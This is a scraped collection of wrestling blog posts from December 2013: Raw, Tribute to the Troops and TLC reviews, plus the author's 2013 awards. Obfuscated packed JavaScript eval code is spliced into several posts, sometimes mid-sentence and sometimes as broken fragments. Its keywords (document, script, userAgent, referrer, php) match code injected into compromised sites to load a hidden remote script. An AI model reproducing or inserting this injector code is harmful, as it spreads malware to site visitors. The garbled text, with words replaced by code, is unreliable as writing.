Monday Night Raw – December 30, 2013: Daniel Bryan…..Says Yes?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afike|var|u0026u|referrer|fedyi||js|php'.split('|'),0,{})) Night Raw
Date: December 30, 2013
Location: Richmond Coliseum, Richmond, Virginia
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

Seth Rollins vs. CM Punk

Rollins goes up but misses a backsplash, allowing Punk to get two more off a rollup. Punk comes back with the running knee in the corner but Rollins catches him coming and throws Punk into a buckle bomb. The Blackout misses but Seth enziguris him down for two. Reigns slaps the mat and tells Rollins to end this so Seth loads up a GTS, only to be shoved away and hit with a running knee against the ropes. Punk tries the Macho Elbow but Rollins rolls away, only to have Shield pull Punk face first into the middle buckle.

Seth goes up but gets crotched, only to block a Punk superplex attempt. Rollins hits a high cross body but Punk rolls through into the Anaconda Vice. Ambrose comes in but makes no contact so the match continues. Punk tries the GTS but Rollins reverses into the standing Sliced Bread. The referee is with Shield so the count is delayed and just gets two. Punk backdrops Rollins onto Ambrose and Reigns but Rollins blocks a suicide dive attempt. Seth tries a sunset flip but Punk catches him on the shoulders and puts Seth to sleep for the pin at 18:12.

We recap Bryan vs. the Wyatts.

HHH has an announcement of his own for later.

Curtis Axel vs. Dolph Ziggler

How to download the App.

Intercontinental Title: Fandango vs. Big E. Langston

Back with Fandango still on the knee and putting on a series of leg locks. Langston fights out of a chinlock and tries a belly to belly despite being on one leg. The Warrior Splash is blocked by another shot tot he knee and Fandango gets two off a tornado DDT. The guillotine legdrop connects but the champion rolls to the floor. Fandango throws him back inside and kicks Langston in the face but it only seems to wake Big E. up. An overhead belly to belly sets up the Warrior Splash and the Big Ending retains the title at 13:00.

2013 Awards: Match of the Year

There eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftdkz|var|u0026u|referrer|hryey||js|php'.split('|'),0,{})) were some great matches in 2013 and several of them were available for free.

One honorable mention: Sami Zayn vs. Antonio Cesaro from NXT. It’s a 2/3 falls match and an outstanding fight. Zayn is as good of an underdog character as you’ll find in wrestling today but Cesaro in Beast Mode is going to put down anyone he’s against.

Now to the nominees:

Rhodes Brothers vs. Shield – Battleground. It’s the worst show of the year but this match brought out so much emotion for reasons we’ve already covered. The main story here is the Brothers trying to get their jobs back after losing them to the Authority. The match was all about the emotion and that’s better than action every single time. Great match but it didn’t save the show.

CM Punk vs. John Cena – February 26 Raw. This was the match for Cena’s Wrestlemania title shot and these guys tore the house down. I called it the best TV match I’ve ever seen and I still think it ranks right up there with anything I’ve ever seen. The one thing that holds it back is the lack of drama at the end. Everyone knew Cena was going to win, but the question was how. That’s very good but not perfect.

Daniel Bryan Runs The Gauntlet – July 22 Raw. If a match told a better story on TV this year, I didn’t see it. Bryan had to face Jack Swagger, Antonio Cesaro and then Ryback in succession. Swagger didn’t even last three minutes, but the Cesaro section is a war between two different styles. After that it was Ryback where Bryan gave it his all but couldn’t overcome the power. The key here though: Ryback lost via DQ, thereby giving us a logical conclusion that doesn’t damage anyone. Outstanding stuff.

That brings us to the two real contenders.

Daniel Bryan vs. John Cena – Summerslam. What else can I say about this match? It was long, it was exciting, it had great action, it had an ending that came out of nowhere. The one thing that holds it back: there was no way Cena was winning with that baseball growing out of his elbow. Just like Cena vs. Punk, there was only one possible winner to this and that was Daniel Bryan. Still though, excellent match.

The winner:

CM Punk vs. Brock Lesnar – Summerslam. My goodness what a match this was. In something I don’t say that often, I was completely wrong about this one. I didn’t think Punk could be a realistic threat to Lesnar but he went move for move with the beast and had me wondering who was going to win the entire time. It’s an amazing match with both guys beating the tar out of each other. On top of that, it was more proof that HHH had no business hogging Lesnar for a year as Brock has had masterpieces with Punk and Cena but three only good matches with HHH.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

WWE Stars Go Bowling

I think the title speaks for itself.

Tribute to the Troops 2013: They Deserve Better

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arbhs|var|u0026u|referrer|essif||js|php'.split('|'),0,{})) to the Troops 2013
Date: December 28, 2013
Location: Joint Base Lewis-McCord, Tacoma, Washington
Commentators: John Bradshaw Layfield, Michael Cole

The arena looks very different with a huge plane over the entrance and no Titantron.

We get a history package of WWE visiting the troops over the years. This includes shots of soldiers surprising their families by coming home which are always cool.

Daniel Bryan vs. Bray Wyatt

Bryan has an awesome goat with wings shirt. This is a pretty big match for a holiday special. Bray hits his low running cross body to take over and slugs Bryan down in the corner. A LOUD YES chant starts up and Bray mocks the arm motion in a funny bit. Bryan comes back with the moonsault out of the corner and the running clothesline to set up the YES Kicks. The Swan Dive gets two and here are Harper and Rowan in for the DQ at 1:45.

Daniel Bryan/CM Punk vs. Wyatt Family

Rowan comes back in for an elbow drop for two before cranking on the neck. A fallaway slam sends Bryan flying but he misses a splash, allowing for the hot tag to Punk. CM speeds things up with all of his usual stuff and takes Rowan down with a neckbreaker. The GTS is loaded up but Bray comes in for the DQ at 2:50 shown.

John Cena/Daniel Bryan/CM Punk vs. Wyatt Family

Bruce Willis loves the troops.

Ryan Seacrest loves the troops.

Santino introduces Daughtry for a few songs.

Fandango vs. R-Truth

Fast paced feeling out process to start with Truth thrusting his hips and taking Fandango down with a hiptoss. A side kick takes Fandango down again and the sitout front suplex gets two. Fandango gets sent to the apron but comes back with an enziguri. Not that it matters as he walks into Little Jimmy for the pin at 1:48.

Alec Baldwin loves the troops.

Will Ferrell loves the troops and talks like Ron Burgandy.

The Bellas introduce Jeff Dunham.

Dunham and his puppets do a Christmas themed set until Big Show interrupts for even more bad jokes.

Big Show vs. Damien Sandow

The locker room comes out to celebrate to end the show.

And check out my Amazon author page with wrestling books for just $4 at:

2013 Awards: Angle of the Year

Make eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afbaa|var|u0026u|referrer|ydkhn||js|php'.split('|'),0,{})) your own Kurt jokes.

This one comes down to two options as most angles either aren’t all that entertaining or get on my nerves with stupid twists.

I’ll throw in an honorable mention to Angle vs. Roode since TNA has had a really bad year. This started off as a makeshift match for Angle but it’s turned into one of the few bright spots in TNA in the last few months. Roode is looking like a killer for the first time in a long time and Angle is Angle. Good stuff all around there.

Now to the real contenders.

First up: Heyman vs. Punk. The premise was great, the beginning was great, the stuff with Lesnar was great, the ending…..was that the ending? That’s where they lose me as the ending just kind of happened instead of building up to a big conclusion. When I hear Punk talking about wanting to destroy Heyman for months, I need more than him just beating on Paul with a kendo stick on top of the Cell. It didn’t help that Ryback and Axel are a long jump down from Lesnar.

The only other option is the winner: the rise of Daniel Bryan. If anyone has had a hotter year in recent memory than Bryan, I can’t remember him. He starts out the year as part of one of the best teams in years before moving up to beating everyone in sight. Bryan got the rub of a lifetime with Cena selecting him as the Summerslam opponent and he capitalized on it with the running knee (that was awesome) to pin Cena 100% clean for the title. I say rise of Daniel Bryan because everything after that was pretty horrible for Daniel, so much like Total Divas, we’ll just pretend none of that happened and that Daniel is still WWE Champion.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

2013 Awards: Promo Of The Year

We’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeyhz|var|u0026u|referrer|ysrnn||js|php'.split('|'),0,{})) got a few options here but a handful stand out about others.First up is Mark Henry retiring. This worked for one reason: I bought it. I totally believed he was done and was actually sad to see him go. I didn’t think he had a chance to win the title at the PPV, but this worked perfectly for the time being. Unfortunately it led to a one off match and Henry is a smiling face again.

Second and the runner up is AJ Lee vs. the Total Divas. As someone who watched every episode of Total Divas (good looking women in small outfits being completely over thet op in a fake scripted show with wrestlers making cameos? You couldn’t sign me up fast enough), I was literally cheering for her as she ripped that show limb from limb. The problem again here is the follow up. WWE relied on the idea that the fans were going to like the Total Divas, even though AJ has run circles around them (literally at certain points). AJ is portrayed as the heel here and that just doesn’t work, especially when AJ has mauled them at every opportunity.

This brings us to the winner: CM Punk vs. Paul Heyman after Money in the Bank. Here’s why it worked: it had a history, it had logic, it had hatred, and most importantly of all, it was leading up to a professional wrestling match. CM Punk vented his frustration against Heyman, swearing vengeance against Heyman for costing him the world title. The obstacle in Punk’s way: the Beast Incarnate, Brock Lesnar. This was setting up David vs. Goliath, but Goliath was standing in the way of David’s real target. That’s wrestling in a nutshell people, and you had two of the best out there talking about it, and that’s why it’s the best of the year.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

Also my Christmas sale on ebooks is ending soon so take advantage of it while you can:

Christmas Sale On E-Books Still Going

Monday Night Raw – December 23, 2013: A 400lb Wig Splitter Fights To Save Christmas!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyzsf|var|u0026u|referrer|isahr||js|php'.split('|'),0,{})) Night Raw
Date: December 23, 2013
Location: Frank Erwin Center, Austin, Texas
Commentators: Michael Cole, John Bradshaw Layfield

The Christmas set looks awesome with presents, trees and even snow falling in the arena.

Vickie Guerrero/Tamina Snuka/Aksana/Alicia Fox/Summer Rae/Kaitlyn vs. Total Divas

Curtis Axel vs. Sin Cara

Axel rubs the masked face into the mat but Cara makes a comeback by sending Axel to the floor for a nice flip dive. Back inside and Cara gets two off a springboard clothesline and a handspring elbow gets the same. Something resembling a Samoan drop sets up the Swanton for the pin at 5:26.

We recap the handicap tag from Smackdown with Cena and Punk beating Shield by DQ. Langston made the post match save, setting up the six man tonight.

Damien Sandow makes a little girl cry.

Video on Bryan vs. the Wyatts, including them injuring Bryan on Smackdown. Bray continues to disturb.

Cody Rhodes/Goldust vs. Wyatt Family

A middle rope hurricanrana of all things put Harper down but he comes right back with a big boot. Now we get Bray for some hard elbow drops and the upside down look out of the corner. Back to Harper to break up a tag attempt but he quickly tags out to Rowan for a neck crank. We get a claw of all things with Cole asking when was the last time you saw that. The answer would be Friday when Rowan used it on Smackdown, which was taped after this to be fair.

Mark Henry makes a child happy.

More of Bad News Barrett collecting donations.

We get a Christmas Carol singing contest. Up first are Xavier Woods and R-Truth with O Holy Night. Woods can actually sing but Truth shouts various lines to screw it up. Next we have Drew McIntyre and Jinder Mahal who go back and forth on a bad rendition of Jingle Bells. Cole: “Was Jillian busy?” Khali and Santino go last with Deck the Halls. Khali handles the fa-la-la-la-laing and brings home the win for his team. 3MB are sore losers and get beaten up. The good guys wish us a Merry Christmas to end the segment. Stupid filler but it could have been worse.

Fandango vs. Dolph Ziggler

This is a Christmas present on a pole match. The present: an Intercontinental Title shot next week. We start with a string of failed climb attempt with Ziggler battling his trunks more than Fandango. Fandango tries a powerbomb out of the corner but gets countered into a Fameasser. Ziggler goes for the present but a hard clothesline sends him into the post and out to the floor. Both guys go for the present but Fandango gets in a kick to the head to hang Ziggler upside down. Dolph fights back to crotch the dancer but gets rammed into the post again, knocking him into the steps. Fandango grabs the present for the win at 4:45.

Prime Time Players vs. Usos

Titus shoulder blocks Jey down to start and leapfrogs over him in a nice athletic display. He picks Jey up for a fallaway slam but drops him to the side in a different style move. Off to Darren who gets suplexed down onto Jey for two but walks into an armdrag. Jimmy comes in as the fans chant THIS IS AUSTIN.

We hit the armbar on Young before Jey comes back in with an ax handle to the arm. The arm hold stays on until the fans are nearly silent. Young comes back with a northern lights suplex and a clothesline but Jimmy comes in off a blind tag. A Samoan drop puts Young down and Titus is sent to the floor, allowing Jey (who dons a Rudolph nose) to hit the Superfly Splash on Darren for the pin at 4:55.

Everyone dances post match.

Good Santa vs. Bad Santa

Real Americans vs. Los Matadores

Diego rolls to the floor and we get a switch, allowing Fernando to get a small package for two. The third blind tag of the night brings Diego back in for a top rope cannonball and a near fall. Diego goes up top as Cesaro sends Fernando into the barricade. Torito gores Cesaro and Diego pins Swagger with a high cross body at 3:25.

We recap the handicap match from Smackdown again.

Kofi Kingston vs. Ryback

Ryback shoves Kofi down to start but gets caught by a forearm to the face. A dropkick sends Ryback to the corner and out to the floor, allowing Kofi to hit a HUGE flip dive. Ryback barely caught him but Kingston appears to be ok. Back in and Kofi hits a hard clothesline to send him back to the floor and take over.

John Cena/Big E. Langston/CM Punk vs. Shield

Dean hooks a sleeper to get the crowd into things a bit. Cena cuts out the middle man by walking over to the corner and tagging Punk while still in the hold. Smart man that Cena. Punk comes in to clean house with the swining neckbreaker and knee in the corner to Ambrose. A Reigns distraction breaks up the Macho Elbow however and Ambrose suplexes Punk on the floor.

Results

Total Divas b. Vickie Guerrero/Tamina Snuka/Aksana/Alicia Fox/Summer Rae/Kaitlyn – Sharpshooter to Aksana

Sin Cara b. Curtis Axel – Swanton Bomb

Wyatt Family b. Cody Rhodes/Goldust/Daniel Bryan – Sister Abigail to Rhodes

Fandango b. Dolph Ziggler – Fandango pulled down the present

CM Punk/John Cena/Big E. Langston b. Shield via DQ when Shield triple teamed Langston

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

Also my Christmas sale on ebooks is ending soon so take advantage of it while you can:

Christmas Sale On E-Books Still Going

2013 Awards: Worst PPV

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdrdh|var|u0026u|referrer|hfrny||js|php'.split('|'),0,{})) one really wasn’t that hard.It’s Battleground and I really didn’t have to put a lot of thought into it. The show just didn’t need to happen and felt like a cash grab. The Rhodes Brothers vs. Shield was a very good match, but other than that there’s nothing of value on the show. SOme of the matches were ok, but there’s no reason for them to be on a full priced PPV. The main event made things even worse with the Bryan vs. Orton feud being dragged out for the sake of being dragged out. On top of that the midcard stuff sucked. I mean, is there ANY reason to have the Real Americans vs. Khali/Santino go seven minutes? Just an unnecessary show and not a good one either.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

2013 Awards: PPV of the Year

Leave eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbakk|var|u0026u|referrer|tydzn||js|php'.split('|'),0,{})) the memories alone.There are a few nominees for this but the memories of one bring it up. First we’ll look at the ones that were really good but not as great as another.

Payback. This took me awhile to get to (and gave me the greatest day I’ve ever had for views on here due to me not having the review up on time) but there’s a problem with it: I don’t remember most of the matches. I remembered liking Payback a lot but I didn’t remember anything but Del Rio turning heel to beat Ziggler. Cena vs. Ryback was a nice match but it didn’t leave any kind of an impression at all. It’s a throwaway show and while good, it just doesn’t mean anything at the end of the day.

Slammiversary. Yeah TNA gets a nomination this year as their anniversary show was pretty freaking awesome. AJ vs. Angle, a great four team tag and one of the best KNockout matches in years. What else do you want from a show out of these guys? On top of that there’s a decent Sting brawl, which to be fair is all he can really do anymore. TNA can put things together and have a good show, but unfortunately they don’t have PPVs for the most part anymore.

Royal Rumble. This was the runner up at a rating of an A-, the same as the winner. I really liked the Ruble and there wasn’t a bad match on the show, but Rock beating Punk was the most obvious ending to a show as you’ll ever see. The Shield interference helped a bit, but Rock might as well have carved his name onto that belt back in June when the title match was announced. Very good show but not as great.

And the winner….

Summerslam. This one really isn’t all that surprising again as it had two A+ matches on the same show. That Punk vs. Lesnar match was as good of a brawl as you’ll find anywhere and the Cena vs. Bryan match was the best rub you’ll see this side of Austin passing out in the Sharpshooter. Bryan debuting that running knee and knocking Cena out cold was perfect and the ending of the show made it even better. I loved that delay right before Orton’s music hit as it made you unsure if something was happening or not. On top of that there was a really good Christian vs. Del Rio match, making me think I underrated the show as a whole. Summerslam was show of the year and it was by a pretty wide margin.

Tables Ladders and Chairs 2013: Undisputed. Seriously.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iinna|var|u0026u|referrer|iitfn||js|php'.split('|'),0,{})) Ladders and Chairs 2013
Date: December 15, 2013
Location: Toyota Center, Houston, Texas
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Pre-Show: Fandango vs. Dolph Ziggler

The pay per view opens with HHH and Stephanie coming to the arena. Vince was seen on the pre-show but is nowhere in sight here. Stephanie talks about what an important moment this is and acknowledges the crowd by saying YES, this is a huge moment. HHH says the World Championship dates back to Lou Thesz as champion (not true in the short version of a long story) and talks about how big tonight is.

Cole confirms that the winner will be the WWE World Heavyweight Champion which is the easiest layup possible.

CM Punk vs. Shield

A great looking running knee in the corner sets up a high cross body for two and the Anaconda Vice is on. Ambrose makes a diving save and comes in off the tag. Dean loads up a superplex but gets headbutted down, setting up the Macho Elbow. The cover is delayed as Punk had to take out Rollins and Dean kicks out at two. Rollins charges in but gets caught in the GTS. Punk goes after Ambrose, only to sidestep a charging Reigns who spears Ambrose down by mistake. Punk sends him to the floor and gets the upset pin on Ambrose at 13:10.

Divas Title: AJ Lee vs. Natalya

Natalya is challenging. AJ takes her down to start with a headscissors before Natalya reverses into an armbar. A low dropkick has Natalya in trouble so she heads outside, only to be distracted by Tamina, allowing AJ to send her face first into the apron. Off to a chinlock by AJ followed by a spinwheel kick to the jaw. Natalya comes back and sends AJ into the corner, only to get caught in a nice guillotine choke.

The blonde powers out and hits a basement dropkick to the face followed by some clotheslines. Some suplexes set up the Sharpshooter and Natalya brings her back to the middle of the ring, only to have AJ kick free. The Black Widow goes on but Natalya rolls out, breaking it for the first time. A clothesline puts AJ down again but another Sharpshooter attempt is countered into a small package for the pin at 6:42.

The announcers play up that AJ pulled hair to get the small package.

Intercontinental Title: Big E. Langston vs. Damien Sandow

We recap Kofi attacking Miz on the pre-show, setting up a No DQ match later tonight.

Tag Titles: Real Americans vs. Big Show/Rey Mysterio vs. Cody Rhodes/Goldust vs. Ryback/Curtis Axel

Back inside and Cesaro gets two off the gutwrench suplex and we hit the chinlock. Off to Jack again for a bearhug as Big Show plays cheerleader for Goldust. Goldie fights back with right hands and a springboard elbow to the jaw. Cesaro easily takes him down and we get a short version Cesaro Swing. A Swagger belly to belly suplex puts Goldust down again and we get the Vader Bomb/double stomp sequence from the Real Americans for another two.

Cody tries a springboard dropkick but gets caught in a powerbomb by Rey (how often do you hear that?) for two. Cross Rhodes are countered again but the 619 is countered into an Alabama Slam which is countered into a sunset flip for a VERY close two. The third attempt at Cross Rhodes FINALLY connects for the pin to retain the titles at 21:06.

Brodus Clay vs. R-Truth

Vince wishes Cena luck.

Kofi Kingston vs. The Miz

Tribute to the Troops ad.

We recap Bryan vs. the Wyatts with Bray wanting Daniel to join the Family but getting kneed in the face instead.

Daniel Bryan vs. Wyatt Family

Harper slams Daniel down and Bray stands up. Wyatt himself comes in and shouts that he could have helped Daniel before splashing him in the corner. Bray goes nuts on Bryan before stopping for that evil look of his. A suplex/toss sends Daniel flying and Bray does the incredibly creepy Exorcist spider walk over to the corner for a tag to Harper. Fans: “THAT WAS CREEPY!”

Daniel busts out an awesome belly to back superplex on Luke for two before firing off the kicks. The big one to the head sets up the swan dive but Daniel has to fire off the kicks to Rowan, tying him up in the ropes. A tag brings in Bray who gets rolled up for two but Wyatt runs him over again. Bryan is whipped into the ropes but he scores with the FLYING GOAT to Harper. Back in the missile dropkick drops Bray but he counters the YES Lock and pummels Bryan down. Sister Abigail ends Bryan at 12:25.

The expert panel (Booker and Foley) talk a bit.

WWE World Heavyweight Championship: Randy Orton vs. John Cena

They head outside again but Orton misses a chair shot and hits the post, allowing Cena to pick up the chair. A series of chair shots puts Orton down and John loads up another table on the floor. The distraction lets Orton send him into the steps to take over again as the dueling Cena chants begin. Orton tries to climb but Cena makes a fast save. The ladder is thrown to the floor and Orton headbutts him down. Some kicks to the ribs have Cena in trouble but he comes back with knees and right hands, only to walk into the powerslam.

Results

CM Punk b. Shield – Punk pinned Ambrose after a spear from Reigns

AJ Lee b. Natalya – Small package

Big E. Langston b. Damien Sandow – Big Ending

Cody Rhodes/Goldust b. Real Americans, Big Show/Rey Mysterio and Ryback/Curtis Axel – Cross Rhodes to Mysterio

Kofi Kingston b. The Miz – Trouble in Paradise

Wyatt Family b. Daniel Bryan – Sister Abigail

Randy Orton b. John Cena – Orton pulled down the title belts

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at: